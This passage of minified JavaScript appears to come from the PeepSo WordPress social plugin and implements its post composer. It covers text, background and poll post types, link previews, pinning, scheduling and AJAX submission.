Date,i=t=>`${t.getFullYear()}-${t.getMonth()+1}-`+t.getDate();i(t)!==i(e)||o&&i(o)===i(e)||(e.setHours(e.getHours()+1,e.getMinutes()+(this.minuteInterval-e.getMinutes()%this.minuteInterval),0),this.timeSelector.setTime(e.getHours()+":"+e.getMinutes())),o=t},e=a,i=new Date,s=new Date,e={monthNames:e,minDate:i,maxDate:s,onSelect:t},t={step:this.minuteInterval,am:r,pm:d,onSelect:t};i.setFullYear(i.getFullYear()-10),s.setFullYear(s.getFullYear()+10),this.dateSelector=new n.DateSelector(this.$year[0],this.$month[0],this.$date[0],e),this.timeSelector=new n.TimeSelector(this.$hour[0],this.$minute[0],this.$ampm.length?this.$ampm[0]:t,this.$ampm.length?t:void 0),this.resetDateTime()}}resetDateTime(){var t=new Date;t.setDate(t.getDate()+1),this.setDateTime(t)}setDateTime(t){this.initDateTime();var e=`${t.getFullYear()}-${t.getMonth()+1}-`+t.getDate(),t=t.getHours()+":"+t.getMinutes();this.dateSelector.setDate(e),this.timeSelector.setTime(t)}}i.hooks.addAction("postbox_init","schedule",t=>new s(t))}.call(this)}.call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{"../datetime":9}],32:[function(t,e,i){peepso.class("PostboxType",function(t,e,i){let o=e.hooks;return class{constructor(t,e){this.type=e,this.active=!1,this.postbox=t,this.$postbox=t.$postbox,this.$shortcuts=this.$postbox.find("[data-ps=shortcuts]"),this.$types=this.$postbox.find("[data-ps=types]"),this.$typeInputs=this.$postbox.find("[data-ps=type_inputs]"),this.$typeInput=this.$typeInputs.children(`[data-id=${this.type}]`),this.attachEvents(),this.attachHooks()}attachEvents(){this.$types.on("click",`[data-id=${this.type}]`,t=>this.onClickToggle(t)),this.$shortcuts.on("click",`[data-id=${this.type}]`,t=>this.onClickShortcut(t))}attachHooks(){o.addFilter("postbox_data",(...t)=>this.onFilterData(...t)),o.addFilter("postbox_validate",(...t)=>this.onFilterValidate(...t)),o.addFilter("postbox_is_empty",(...t)=>this.onFilterIsEmpty(...t)),o.addAction("postbox_saved",(...t)=>this.onActionSaved(...t)),o.addAction("postbox_reset",(...t)=>this.onActionReset(...t)),o.addAction("postbox_toggle_type",(...t)=>this.onActionToggleType(...t)),o.addAction("postbox_toggle_type",(...t)=>this._triggerInput(...t),99)}show(){this.active=!0,this.$types.children(`[data-id=${this.type}]`).addClass("pso-active"),this.$typeInputs.children(`[data-id=${this.type}]`).show(),o.doAction("postbox_toggle_type",this.type,this.postbox)}hide(){this.active=!1,this.$types.children(`[data-id=${this.type}]`).removeClass("pso-active"),this.$typeInputs.children(`[data-id=${this.type}]`).hide()}onFilterData(t,e){return e===this.postbox&&this.active,t}onFilterValidate(t,e,i){return e===this.postbox&&this.active,t}onFilterIsEmpty(t,e,i){return e===this.postbox&&this.active,t}onActionSaved(t){this.postbox}onActionReset(t){t===this.postbox&&this.hide()}onActionToggleType(t,e){e===this.postbox&&t!==this.type&&this.hide()}onClickToggle(t){t.preventDefault(),t.stopPropagation(),this.show()}onClickShortcut(t){t.preventDefault(),t.stopPropagation(),this.postbox.toggle(!0),this.show()}_triggerInput(t,e){e===this.postbox&&t===this.type&&this.postbox.$textarea.trigger("input")}}})},{}],33:[function(t,e,i){peepso.class("PostboxTypeBackground",function(e,i,n){let{hooks:o,observer:s,ContentEditable:a}=i;var{backgrounds:t={}}=window.peepsodata;let r=+t.post_max_length||0;return o.addAction("postbox_init","background",t=>new(i.class(e))(t)),class extends i.class("PostboxType"){constructor(t,e="background"){super(t,e),this.$presets=this.$typeInput.find("[data-preset-id]"),this.$background=this.$typeInput.find("[data-ps=background]"),this.$text=this.$typeInput.find("[data-ps=text]"),this.$warning=this.$typeInput.find("[data-ps=warning]").hide(),this.$background.on("click",()=>this.focus()),this.$presets.on("click",t=>this.onClickPreset(t)),this.editor=new a(this.$text[0],{onChange:this.onChange.bind(this),transform:this.contentTransform.bind(this)}),o.addFilter("postbox_max_length",(...t)=>this.onFilterMaxLength(...t))}show(){this.active=!0,this.$types.children(`[data-id=${this.type}]`).addClass("pso-active"),this.$typeInputs.children(`[data-id=${this.type}]`).show(),this.postbox.$textarea.parent().hide();let e={content:this.postbox.$textarea.val()};this.postbox.$textarea.ps_tagging("val",t=>e.content=t),this.editor.value(e.content),s.doAction("postbox_content_update",this.$text[0],this.editor),this.$presets.filter(".active").length||this.select(this.$presets.eq(0)),o.doAction("postbox_toggle_type",this.type,this.postbox)}select(t){var t=n(t),e=t.css("background-image"),i=t.attr("data-background"),o=t.attr("data-text-color"),s=t.attr("data-preset-id");this.$background.css("background-image",e).attr("data-background",i),this.$text.css("color",o).attr("data-text-color",o).attr("data-preset-id",s),t.addClass("active"),this.$presets.not(t).removeClass("active"),this.__styleOverride||(this.__styleOverride=document.createElement("style"),this.__styleOverride.id="peepso-post-background",document.head.appendChild(this.__styleOverride)),this.__styleOverride.innerHTML=`.ps-post__background-text:before { color: ${o} !important }`,this.focus()}focus(){setTimeout(()=>{var t;this.editor.value()?(window.getSelection(),(t=this.$text[0].children)[t.length-1]):this.$text[0].focus()},0)}contentTransform(t,e){s.doAction("postbox_content_transform",t,e)}onChange(){var t=this.editor.value(),t=(this.postbox.$textarea.val(t),this.postbox.onInputTextarea(),r&&t.length>r);t?this.$warning.show():this.$warning.hide(),s.doAction("postbox_content_change",this.$text[0],this.editor)}onFilterData(t,e){return e===this.postbox&&this.active&&(t.type="post_backgrounds",t.content=this.editor.value(),t.preset_id=this.$text.attr("data-preset-id"),t.text_color=this.$text.attr("data-text-color"),t.background=this.$background.attr("data-background")),t}onFilterValidate(t,e,i){return e===this.postbox&&this.active&&(i.preset_id&&i.content?r&&i.content.length>r?(t=!1,this.$warning.show()):(t=!0,this.$warning.hide()):(t=!1,this.$warning.hide())),t}onFilterIsEmpty(t,e,i){return t=e===this.postbox&&this.active&&i.content?!1:t}onFilterMaxLength(t,e){return t=e===this.postbox&&this.active?r:t}onActionReset(t){t===this.postbox&&(this.hide(),this.postbox.$textarea.parent().show(),this.select(this.$presets.eq(0)),this.editor.value(""),this.$warning.hide())}onActionToggleType(t,e){e===this.postbox&&t!==this.type&&this.$typeInput.is(":visible")&&this.postbox.$textarea.parent().show(),super.onActionToggleType(t,e)}onClickPreset(t){t.preventDefault(),t.stopPropagation(),this.select(t.currentTarget)}}})},{}],34:[function(t,e,i){!function(t){!function(){var s="undefined"!=typeof window?window.peepsodata:void 0!==t?t.peepsodata:null;peepso.class("PostboxTypePoll",function(e,i,o){var t=i.hooks;return t.addAction("postbox_init","poll",t=>new(i.class(e))(t)),class extends i.class("PostboxType"){constructor(t,e="poll"){super(t,e),this.$typeInput=this.$typeInputs.children(`[data-id=${this.type}]`),this.$allowMultiple=this.$typeInput.find("[data-ps=allow-multiple]"),this.$typeInput.on("click","[data-ps=btn-add]",t=>this.onClickBtnAdd(t)),this.$typeInput.on("click","[data-ps=btn-delete]",t=>this.onClickBtnDelete(t)),this.$typeInput.on("input","[type=text]",t=>this.onInputInput(t)),this.$typeInput.find("[data-ps=sortable]").sortable({handle:"[data-ps=sortable-handle]",update:()=>this.reorderPlaceholders(),start(t,e){var i=o(window).scrollTop();0<i&&e.helper.css("margin-top",i)},stop(t,e){e.item.css("margin-top",0)}})}onFilterData(t,e){return e===this.postbox&&this.active&&(t.type="poll",t.options=this.$typeInput.find("[data-ps=option] [type=text]").map((t,e)=>e.value.trim()).get().filter(t=>t),t.allow_multiple=0,this.$allowMultiple.length)&&this.$allowMultiple.is(":checked")&&(t.allow_multiple=1),t}onFilterValidate(t,e,i){return t=e===this.postbox&&this.active?i.content&&1<i.options.length:t}onFilterIsEmpty(t,e,i){return t=e===this.postbox&&this.active&&0<i.options.length?!1:t}onActionReset(t){t===this.postbox&&(this.hide(),this.$allowMultiple.prop("checked",!1),this.$typeInput.find("[data-ps=option]").each((t,e)=>{t<2?o(e).find("[type=text]").val(""):o(e).remove()}))}onClickBtnAdd(t){t.preventDefault(),t.stopPropagation();t=this.$typeInput.find("[data-ps=option]").eq(0).clone();t.find("[type=text]").val(""),t.appendTo(this.$typeInput.find("[data-ps=sortable]")),this.reorderPlaceholders()}onClickBtnDelete(t){t.preventDefault(),t.stopPropagation();t=o(t.currentTarget).closest("[data-ps=option]");2<=t.siblings("[data-ps=option]").length&&(t.remove(),this.reorderPlaceholders())}onInputInput(t){this.postbox.$textarea.trigger("input")}reorderPlaceholders(){var t=this.$typeInput.find("[data-ps=option] [type=text]");let i=s.polls.textOptionPlaceholder;t.each((t,e)=>o(e).attr("placeholder",i.replace("%d",t+1)))}}})}.call(this)}.call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{}],35:[function(t,e,i){!function(e){!function(){var t;let n=((t="undefined"!=typeof window?window.peepsodata:void 0!==e?e.peepsodata:null)&&t.__esModule?t:{default:t}).default.embed||{};peepso.class("PostboxTypeText",function(e,o,s){var t=o.hooks;return t.addAction("postbox_init","text",t=>new(o.class(e))(t)),class extends o.class("PostboxType"){constructor(t,e="text"){super(t,e),this.active=!0,this.embed=null,this.embedExceptions=[],this.$preview=null,this.postbox.$textarea.on("blur keyup",t=>{"blur"!==t.type&&"Space"!==t.code||this.checkUrlPreview()})}show(){super.show(),this.$preview&&this.$preview.show()}hide(){super.hide(),this.$preview&&this.$preview.hide()}onFilterData(t,e){return e===this.postbox&&this.active&&(this.embed?t.embed=this.embed:t.show_preview=0),t}onFilterValidate(t,e,i){return t=e===this.postbox&&this.active?t&&!this.fetching:t}onActionReset(t){t===this.postbox&&(this.active=!0,this.embed=null,this.embedExceptions=[],this.$types.children(`[data-id=${this.type}]`).addClass("pso-active"),this.$preview&&this.$preview.remove(),delete this.$preview)}checkUrlPreview(t){if(+n.enable&&this.active&&!this.fetching&&(t||!this.embed)){t=this.postbox.$textarea.val();let i=t.match(/(^|\s)(https?:\/\/)?([a-z0-9-]+\.)+((com|net|org|int|edu|gov|mil|biz|info|mobi|co|io|me)(\.[a-z]{2})?)(?![a-z])(:\d+)?(\/[^\s]*)?/gi)||t.match(/(^|\s)(https?:\/\/)([a-z0-9-]+\.)+([a-z]{2,24})(:\d+)?(\/[^\s]*)?/gi);(i=i&&i[0]&&i[0].trim())&&(i.match(/^https?:\/\//i)||(i="https://"+i),!+n.enable_non_ssl&&!i.match(/^https:\/\//i)||this.embedExceptions&&-1<this.embedExceptions.indexOf(i)||(this.fetching=!0,this.postbox.$loading.show(),o.modules.url.getEmbed(i).then(t=>{this.embed=i;let e=`<div class="ps-postbox__url-preview url-preview ps-stream-container-narrow">
<div class="ps-postbox__url-close close">
<a href="#" class="ps-js-remove"><i class="gcis gci-times"></i></a>
</div>
${t.html}
</div>`;e=e.replace(/\/embed\/(#\?secret=[a-zA-Z0-9]+)?"/g,'/?embed=true$1"'),this.$preview=s('<div data-ps="url-preview"></div>').insertAfter(this.postbox.$textarea.parent().parent()).append(e),this.$preview.on("click.ps-embed-remove",".ps-js-remove",()=>{this.$preview.off("click.ps-embed-remove").remove(),this.embed=null,this.embedExceptions.push(i)}),e.match(/\sdata-instgrm-permalink/)&&setTimeout(function(){try{window.instgrm.Embeds.process()}catch(t){}},1e3)}).catch(()=>{}).then(()=>{this.fetching=!1,this.postbox.$loading.hide(),this.postbox.$textarea.trigger("input")})))}}}})}.call(this)}.call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{}],36:[function(t,e,i){!function(p){!function(){var i=e("undefined"!=typeof window?window.jQuery:void 0!==p?p.jQuery:null),o="undefined"!=typeof window?window.peepso:void 0!==p?p.peepso:null,t=e("undefined"!=typeof window?window.peepsodata:void 0!==p?p.peepsodata:null);function e(t){return t&&t.__esModule?t:{default:t}}let s=t.default.ajaxurl_legacy,n=t.default.peepso_nonce,a=t.default.currentuserid,r=t.default.userid,d=+t.default.postsize||0,h=0;class l{constructor(t,e={}){this.id=++h,this.opts=Object.assign(e),this.$postbox=(0,i.default)(t),this.$viewer=this.$postbox.children("[data-ps=postbox-view]"),this.$editor=this.$postbox.children("[data-ps=postbox-edit]"),this.$infoName=this.$editor.find("[data-name-orig]"),this.$infoAvatar=this.$editor.find("img[src-orig]"),this.$titleExtra=this.$editor.find("[data-ps=title-extra]"),this.$textarea=this.$editor.find("textarea").attr("maxlength",d),this.$txShadow=this.$textarea.prev("[data-ps=textarea-shadow]"),this.$loading=this.$editor.find("[data-ps=loading]").hide(),this.$charcount=this.$editor.find("[data-ps=charcount]").hide(),this.$btnSubmit=this.$editor.find("[data-ps=btn-submit]").attr("disabled","disabled"),this.$viewer.on("click","[data-ps=content]",t=>this.onViewContentClick(t)),this.$editor.on("click","[data-ps=btn-cancel]",t=>this.onEditCancelClick(t)),this.$editor.on("click","[data-ps=btn-submit]",t=>this.onEditSubmitClick(t)),this.$textarea.on("input",t=>this.onInputTextarea(t)),this.$textarea.on("paste",t=>setTimeout(()=>this.onInputTextarea(t),100)),this.$textarea.on("keypress",t=>this.onKeyPressTextarea(t)),o.hooks.doAction("postbox_init",this)}render(){var t=this.data(),e=o.hooks.applyFilters("postbox_title_extra",[],t,this);e.length?this.$titleExtra.html(e.join(" ")+"."):this.$titleExtra.empty(),void 0!==t.anon_id?(this.$infoName.html(this.$infoName.data("name-anon")),this.$infoAvatar.attr("src",this.$infoAvatar.attr("src-anon"))):(this.$infoName.html(this.$infoName.data("name-orig")),this.$infoAvatar.attr("src",this.$infoAvatar.attr("src-orig")))}data(){var t={content:this.$textarea.val().trim(),id:a,uid:r,acc:10,type:"activity"};return o.hooks.applyFilters("postbox_data",t,this)}toggle(t){t?this.expand():this.collapse()}expand(){this.$viewer.hide(),this.$editor.show(),this.$textarea.ps_autosize(),setTimeout(()=>{(0,i.default)(document).off("mouseup.postbox-"+this.id).on("mouseup.postbox-"+this.id,t=>{this.$editor.filter(t.target).length||this.$editor.find(t.target).length||this.collapse()})},1)}collapse(){var t=this.data(),e=t.content.trim();o.hooks.applyFilters("postbox_is_empty",!e,this,t)&&(this.$editor.hide(),this.$viewer.show(),(0,i.default)(document).off("mouseup.postbox-"+this.id))}reset(){this.$textarea.val(""),this.$txShadow.html(""),this.$btnSubmit.attr("disabled","disabled"),o.hooks.doAction("postbox_reset",this),o.observer.removeFilter("beforeunload",this.beforeUnloadHandler)}cancel(){return i.default.Deferred(t=>{this.reset(),t.resolve()})}submit(){return i.default.Deferred(e=>{if(this.submitting)return e.reject();this.submitting=!0,this.$btnSubmit.addClass("pso-btn--loading");var t={url:s+"postbox.post",type:"POST",data:this.data(),dataType:"json",beforeSend:t=>t.setRequestHeader("X-PeepSo-Nonce",n)},t=i.default.ajax(t);t.fail(e.reject),t.done(t=>{t.success?(o.hooks.doAction("postbox_saved",this),o.hooks.doAction("activitystream_append",t),this.reset(),e.resolve()):e.reject()}),t.always(()=>{delete this.submitting,this.$btnSubmit.removeClass("pso-btn--loading")})})}updateCharCount(e=""){var i=o.hooks.applyFilters("postbox_max_length",d,this),e=Math.max(0,i-e.length);if(this.$charcount.html(e+""),e&&.5<e/i)this.$charcount.hide();else{this.$charcount.show();let t="";0===e||e/i<.1?t="red":e/i<.25&&(t="orange"),this.$charcount.css({color:t})}}onInputTextarea(){var t=this.data(),e=t.content.trim();o.hooks.applyFilters("postbox_validate",!!e,this,t)?this.$btnSubmit.removeAttr("disabled"):this.$btnSubmit.attr("disabled","disabled"),this.updateCharCount(e),o.hooks.applyFilters("postbox_is_empty",!e,this,t)?this.beforeUnloadHandler&&(o.observer.removeFilter("beforeunload",this.beforeUnloadHandler),delete this.beforeUnloadHandler):this.beforeUnloadHandler||(this.beforeUnloadHandler=()=>!0,o.observer.addFilter("beforeunload",this.beforeUnloadHandler))}onKeyPressTextarea(){if(this.$textarea.val().length>=d)return!1}onViewContentClick(t){t.preventDefault(),t.stopPropagation(),this.toggle(!0),this.$textarea.trigger("focus")}onEditCancelClick(t){t.preventDefault(),t.stopPropagation(),this.cancel().done(()=>this.toggle(!1))}onEditSubmitClick(t){t.preventDefault(),t.stopPropagation(),this.onInputTextarea(),requestAnimationFrame(()=>{this.$btnSubmit.is(":disabled")||this.submit().done(()=>this.toggle(!1))})}}(0,i.default)(()=>document.querySelectorAll("[data-ps=postbox]").forEach(t=>new l(t)))}.call(this)}.call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{}],37:[function(t,e,i){t("./postbox"),t("./postbox-dropdown"),t("./postbox-type"),t("./postbox-schedule"),t("./postbox-pin")},{"./postbox":42,"./postbox-dropdown":38,"./postbox-pin":39,"./postbox-schedule":40,"./postbox-type":41}],38:[function(t,e,n){!function(s){!function(){Object.defineProperty(n,"__esModule",{value:!0}),n.default=void 0;var i=(t="undefined"!=typeof window?window.jQuery:void 0!==s?s.jQuery:null)&&t.__esModule?t:{default:t},t="undefined"!=typeof window?window.peepso:void 0!==s?s.peepso:null;let o=0;t.observer.addFilter("class_postbox_dropdown",()=>e);class e{constructor(t,e={}){this.id="ps-postbox-dropdown--"+ ++o,this.opts=e,this.$postbox=(0,i.default)(t).closest(".ps-js-postbox"),this.$container=(0,i.default)(t),this.$toggle=this.$container.find(".ps-js-postbox-toggle").first(),this.$dropdown=this.$container.find(".ps-js-postbox-dropdown").first(),this.$toggle.on("click",()=>this.toggle())}toggle(){this.$dropdown.is(":visible")?this.hide():this.show()}show(){this.$dropdown.show(),this.$container.addClass("ps-postbox__menu-item--open"),setTimeout(()=>{(0,i.default)(document).off("mouseup."+this.id).on("mouseup."+this.id,t=>{0===this.$container.has(t.target).length&&this.hide()})},1)}hide(){this.$dropdown.hide(),this.$container.removeClass("ps-postbox__menu-item--open"),(0,i.default)(document).off("mouseup."+this.id)}}n.default=e}.call(this)}.call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{}],39:[function(l,t,e){!function(h){!function(){var i=(t="undefined"!=typeof window?window.jQuery:void 0!==h?h.jQuery:null)&&t.__esModule?t:{default:t},o="undefined"!=typeof window?window.peepso:void 0!==h?h.peepso:null,e="undefined"!=typeof window?window.peepsodata:void 0!==h?h.peepsodata:null,s=l("../datetime");let n=e.datetime&&e.datetime.text.monthNames,a=e.datetime&&e.datetime.text.am,r=e.datetime&&e.datetime.text.pm;var t=o.observer.applyFilters("class_postbox_dropdown",10,1);class d extends t{constructor(t){super(t.find("#pin-tab")[0]),this.$postbox=t,this.is_admin=o.observer.applyFilters("postbox_can_pin",+e.is_admin),this.is_admin?this.$container.show():this.$container.hide(),this.$radio=this.$container.find("[type=radio]"),this.$datetime=this.$container.find(".ps-js-datetime"),this.$date=this.$container.find(".ps-js-date-dd"),this.$month=this.$container.find(".ps-js-date-mm"),this.$year=this.$container.find(".ps-js-date-yy"),this.$hour=this.$container.find(".ps-js-time-hh"),this.$minute=this.$container.find(".ps-js-time-mm"),this.$ampm=this.$container.find(".ps-js-time-ampm"),this.$done=this.$container.find(".ps-js-done"),this.minuteInterval=+this.$minute.data("interval")||15,this.dateSelector=null,this.timeSelector=null,this.$done.on("click",()=>this.hide()),this.$dropdown.on("click","[data-option-value]",t=>{var e=(0,i.default)(t.currentTarget).data("optionValue");t.stopPropagation(),this.select(e),"no"!==e&&"indefinitely"!==e||this.hide()}),this.$postbox.on("postbox.post_cancel postbox.post_saved",()=>{this.resetDateTime(),this.select("no")}),o.observer.addFilter("postbox_req",this.filterPostboxReq.bind(this),10,1),o.observer.addFilter("postbox_data",this.filterPostboxData.bind(this),10,2),o.observer.addAction("postbox_update",this.actionPostboxUpdate.bind(this),10,2),o.observer.addAction("postbox_group_set",this.actionPostboxGroupSet.bind(this),10,3),o.observer.addAction("postbox_group_reset",this.actionPostboxGroupReset.bind(this),10,1)}value(){let t;return this.$radio.get(1).checked?t=1:this.$radio.get(2).checked&&this.dateSelector&&this.timeSelector&&(t=this.dateSelector.getDate()+" "+this.timeSelector.getTime()),t}select(t){var e;"no"===t?(this.$radio.get(0).checked=!0,this.$datetime.hide(),this.$container.removeClass("active"),(e=this.$container.find(".ps-js-interaction-toggle")).attr("data-tooltip-original")&&(e.attr("data-tooltip",e.attr("data-tooltip-original")),e.removeAttr("data-tooltip-original")),o.observer.doAction("postbox_pin_reset",this.$postbox)):"indefinitely"===t?(this.$radio.get(1).checked=!0,this.$datetime.hide(),this.$container.addClass("active"),(e=this.$container.find(".ps-js-interaction-toggle")).attr("data-tooltip-original")&&(e.attr("data-tooltip",e.attr("data-tooltip-original")),e.removeAttr("data-tooltip-original")),o.observer.doAction("postbox_pin_set",this.$postbox,this.value())):"until"===t&&(this.$radio.get(2).checked=!0,this.$datetime.show(),this.$container.addClass("active"),this.initDateTime(),e=this.$container.find(".ps-js-interaction-toggle"),t=this.timeSelector.getTime(!0)+", "+this.dateSelector.getDate(!0),e.attr("data-tooltip-original")||e.attr("data-tooltip-original",e.attr("data-tooltip")),e.attr("data-tooltip",t),o.observer.doAction("postbox_pin_set",this.$postbox,this.value()))}initDateTime(){var t,e,i;this.dateSelector||this.timeSelector||(i=()=>{var t=new Date,e=this.dateSelector.getDate().split("-"),i=this.timeSelector.getTime().split(":"),e=new Date(+e[0],+e[1]-1,+e[2],+i[0],+i[1]);t.setHours(t.getHours()+1,t.getMinutes()+(this.minuteInterval-t.getMinutes()%this.minuteInterval),0),e<t&&this.timeSelector.setTime(t.getHours()+":"+t.getMinutes())},e={monthNames:n,minDate:new Date,maxDate:t=new Date,onSelect:i},i={step:this.minuteInterval,am:a,pm:r,onSelect:i},t.setFullYear(Math.max(2035,t.getFullYear()+1)),this.dateSelector=new s.DateSelector(this.$year[0],this.$month[0],this.$date[0],e),this.timeSelector=new s.TimeSelector(this.$hour[0],this.$minute[0],this.$ampm.length?this.$ampm[0]:i,this.$ampm.length?i:void 0),this.resetDateTime())}resetDateTime(){var t=new Date;t.setDate(t.getDate()+1),this.setDateTime(t)}setDateTime(t){this.initDateTime();var e=`${t.getFullYear()}-${t.getMonth()+1}-`+t.getDate(),t=t.getHours()+":"+t.getMinutes();this.dateSelector.setDate(e),this.timeSelector.setTime(t)}filterPostboxReq(t){var e=this.value();return e&&(t.pin="string"==typeof e?e:1),t}filterPostboxData(t,e){return e.$el===this.$postbox&&(e=this.value())&&(t.pin="string"==typeof e?e:1),t}actionPostboxUpdate(t,o){if(t.$el===this.$postbox)if(o.pin)if("string"==typeof o.pin){let[t,e]=o.pin.split(" "),i;t=t.split("-"),e=e.split(":"),i=new Date(+t[0],+t[1]-1,+t[2],+e[0],+e[1]),this.select("until"),this.setDateTime(i)}else this.select("indefinitely"),this.resetDateTime(),this.$container.hide();else this.select("no"),this.resetDateTime(),this.$container.hide()}actionPostboxGroupSet(t,e,i){t===this.$postbox&&(+i.can_pin_posts?this.$container.show():(this.select("no"),this.$container.hide()))}actionPostboxGroupReset(t){t===this.$postbox&&(this.is_admin?this.$container.show():(this.select("no"),this.$container.hide()))}}o.observer.addAction("peepso_postbox_addons",t=>(t.push({init(){},set_postbox(t){t.find("#pin-tab").length&&new d(t)}}),t),10,1),o.observer.addAction("postbox_init",t=>{t=t.$el;t.find("#pin-tab").length&&new d(t)},10,1)}.call(this)}.call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{"../datetime":9}],40:[function(h,t,e){!function(s){!function(){var i=(t="undefined"!=typeof window?window.jQuery:void 0!==s?s.jQuery:null)&&t.__esModule?t:{default:t},o="undefined"!=typeof window?window.peepso:void 0!==s?s.peepso:null,t="undefined"!=typeof window?window.peepsodata:void 0!==s?s.peepsodata:null,n=h("../datetime");let a=t.datetime&&t.datetime.text.monthNames,r=t.datetime&&t.datetime.text.am,d=t.datetime&&t.datetime.text.pm;t=o.observer.applyFilters("class_postbox_dropdown",10,1);class e extends t{constructor(t){super(t.find("#schedule-tab")[0]),this.$postbox=t,this.$radio=this.$container.find("[type=radio]"),this.$datetime=this.$container.find(".ps-js-datetime"),this.$date=this.$container.find(".ps-js-date-dd"),this.$month=this.$container.find(".ps-js-date-mm"),this.$year=this.$container.find(".ps-js-date-yy"),this.$hour=this.$container.find(".ps-js-time-hh"),this.$minute=this.$container.find(".ps-js-time-mm"),this.$ampm=this.$container.find(".ps-js-time-ampm"),this.$done=this.$container.find(".ps-js-done"),this.minuteInterval=+this.$minute.data("interval")||5,this.dateSelector=null,this.timeSelector=null,this.$done.on("click",()=>this.hide()),this.$dropdown.on("click","[data-option-value]",t=>{var e=(0,i.default)(t.currentTarget).data("optionValue");t.stopPropagation(),this.select(e),"now"===e&&this.hide()}),this.$postbox.on("postbox.post_cancel postbox.post_saved",()=>{this.resetDateTime(),this.select("now")}),o.observer.addFilter("postbox_req",i.default.proxy(this.filterPostboxReq,this),10,1),o.observer.addFilter("postbox_data",i.default.proxy(this.filterPostboxData,this),10,2),o.observer.addAction("postbox_update",this.actionPostboxUpdate.bind(this),10,2)}value(){let t;return t=this.$radio.get(1).checked&&this.dateSelector&&this.timeSelector?this.dateSelector.getDate()+" "+this.timeSelector.getTime():t}select(t){var e;"now"===t?(this.$radio.get(0).checked=!0,this.$datetime.hide(),this.$container.removeClass("active"),(e=this.$container.find(".ps-js-interaction-toggle")).attr("data-tooltip-original")&&(e.attr("data-tooltip",e.attr("data-tooltip-original")),e.removeAttr("data-tooltip-original")),o.observer.doAction("postbox_schedule_reset",this.$postbox)):"future"===t&&(this.$radio.get(1).checked=!0,this.$datetime.show(),this.$container.addClass("active"),this.initDateTime(),e=this.$container.find(".ps-js-interaction-toggle"),t=this.timeSelector.getTime(!0)+", "+this.dateSelector.getDate(!0),e.attr("data-tooltip-original")||e.attr("data-tooltip-original",e.attr("data-tooltip")),e.attr("data-tooltip",t),o.observer.doAction("postbox_schedule_set",this.$postbox,this.value()))}initDateTime(){if(!this.dateSelector&&!this.timeSelector){let o;var t=()=>{var t=this.dateSelector.getDate().split("-"),e=this.timeSelector.getTime().split(":"),t=new Date(+t[0],+t[1]-1,+t[2],+e[0],+e[1]),e=new Date,i=t=>`${t.getFullYear()}-${t.getMonth()+1}-`+t.getDate();i(t)!==i(e)||o&&i(o)===i(e)||(e.setHours(e.getHours()+1,e.getMinutes()+(this.minuteInterval-e.getMinutes()%this.minuteInterval),0),this.timeSelector.setTime(e.getHours()+":"+e.getMinutes())),o=t},e=a,i=new Date,s=new Date,e={monthNames:e,minDate:i,maxDate:s,onSelect:t},t={step:this.minuteInterval,am:r,pm:d,onSelect:t};i.setFullYear(i.getFullYear()-10),s.setFullYear(s.getFullYear()+10),this.dateSelector=new n.DateSelector(this.$year[0],this.$month[0],this.$date[0],e),this.timeSelector=new n.TimeSelector(this.$hour[0],this.$minute[0],this.$ampm.length?this.$ampm[0]:t,this.$ampm.length?t:void 0),this.resetDateTime()}}resetDateTime(){var t=new Date;t.setDate(t.getDate()+1),this.setDateTime(t)}setDateTime(t){this.initDateTime();var e=`${t.getFullYear()}-${t.getMonth()+1}-`+t.getDate(),t=t.getHours()+":"+t.getMinutes(),e=(this.dateSelector.setDate(e),this.timeSelector.setTime(t),this.$container.find(".ps-js-interaction-toggle")),t=this.timeSelector.getTime(!0)+", "+this.dateSelector.getDate(!0);e.attr("data-tooltip-original")||e.attr("data-tooltip-original",e.attr("data-tooltip")),e.attr("data-tooltip",t)}filterPostboxReq(t){var e=this.value();return e&&(t.future=e),t}filterPostboxData(t,e){return e.$el===this.$postbox&&(e=this.value())&&(t.future=e),t}actionPostboxUpdate(t,o){if(t.$el===this.$postbox)if(o.future){let[t,e]=o.future.split(" "),i;t=t.split("-"),e=e.split(":"),i=new Date(+t[0],+t[1]-1,+t[2],+e[0],+e[1]),this.select("future"),this.setDateTime(i)}else this.select("now"),this.resetDateTime(),this.$container.hide()}}o.observer.addAction("peepso_postbox_addons",t=>(t.push({init(){},set_postbox(t){t.find("#schedule-tab").length&&new e(t)}}),t),10,1),o.observer.addAction("postbox_init",t=>{t=t.$el;t.find("#schedule-tab").length&&new e(t)},10,1)}.call(this)}.call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{"../datetime":9}],41:[function(t,e,i){!function(o){!function(){var i=(t="undefined"!=typeof window?window.jQuery:void 0!==o?o.jQuery:null)&&t.__esModule?t:{default:t},s="undefined"!=typeof window?window.peepso:void 0!==o?o.peepso:null;var t=s.observer.applyFilters("class_postbox_dropdown",10,1);class e extends t{constructor(t){super(t.find("#type-tab")[0]),this.$postbox=t,this.defaultIcon=this.$toggle.children("a").find("i").attr("class"),this.defaultText=this.$toggle.children("a").find("span").html(),this.$dropdown.on("click","[data-option-value]",t=>{var e=(0,i.default)(t.currentTarget).data("optionValue");t.stopPropagation(),this.select(e),this.hide()}),this.$postbox.on("postbox.post_saved",()=>{"function"!=typeof s.observer.applyFilters("peepso_postbox_onsave",!1,this.$postbox)&&this.select("status")}),this.select("status")}show(){this.$dropdown.show(),setTimeout(()=>{(0,i.default)(document).off("mouseup."+this.id).on("mouseup."+this.id,t=>{0===this.$container.has(t.target).length&&this.hide()})},1)}hide(){this.$dropdown.hide(),(0,i.default)(document).off("mouseup."+this.id)}select(t){var e=this.$dropdown.find(`[data-option-value="${t}"]`),i=this.$toggle.children("a"),o=e.find("i").attr("class").replace(/^.*(gci-[^\s]+).*$/,"$1"),i=i.find("i").filter("."+o);e.length&&(e.addClass("active"),e.siblings(".active").removeClass("active"),i.addClass("active"),i.siblings(".active").removeClass("active").css("color",""),s.observer.doAction("postbox_type_set",this.$postbox,t))}}s.observer.addAction("peepso_postbox_addons",t=>(t.push({init(){},set_postbox(t){t.find("#type-tab").length&&new 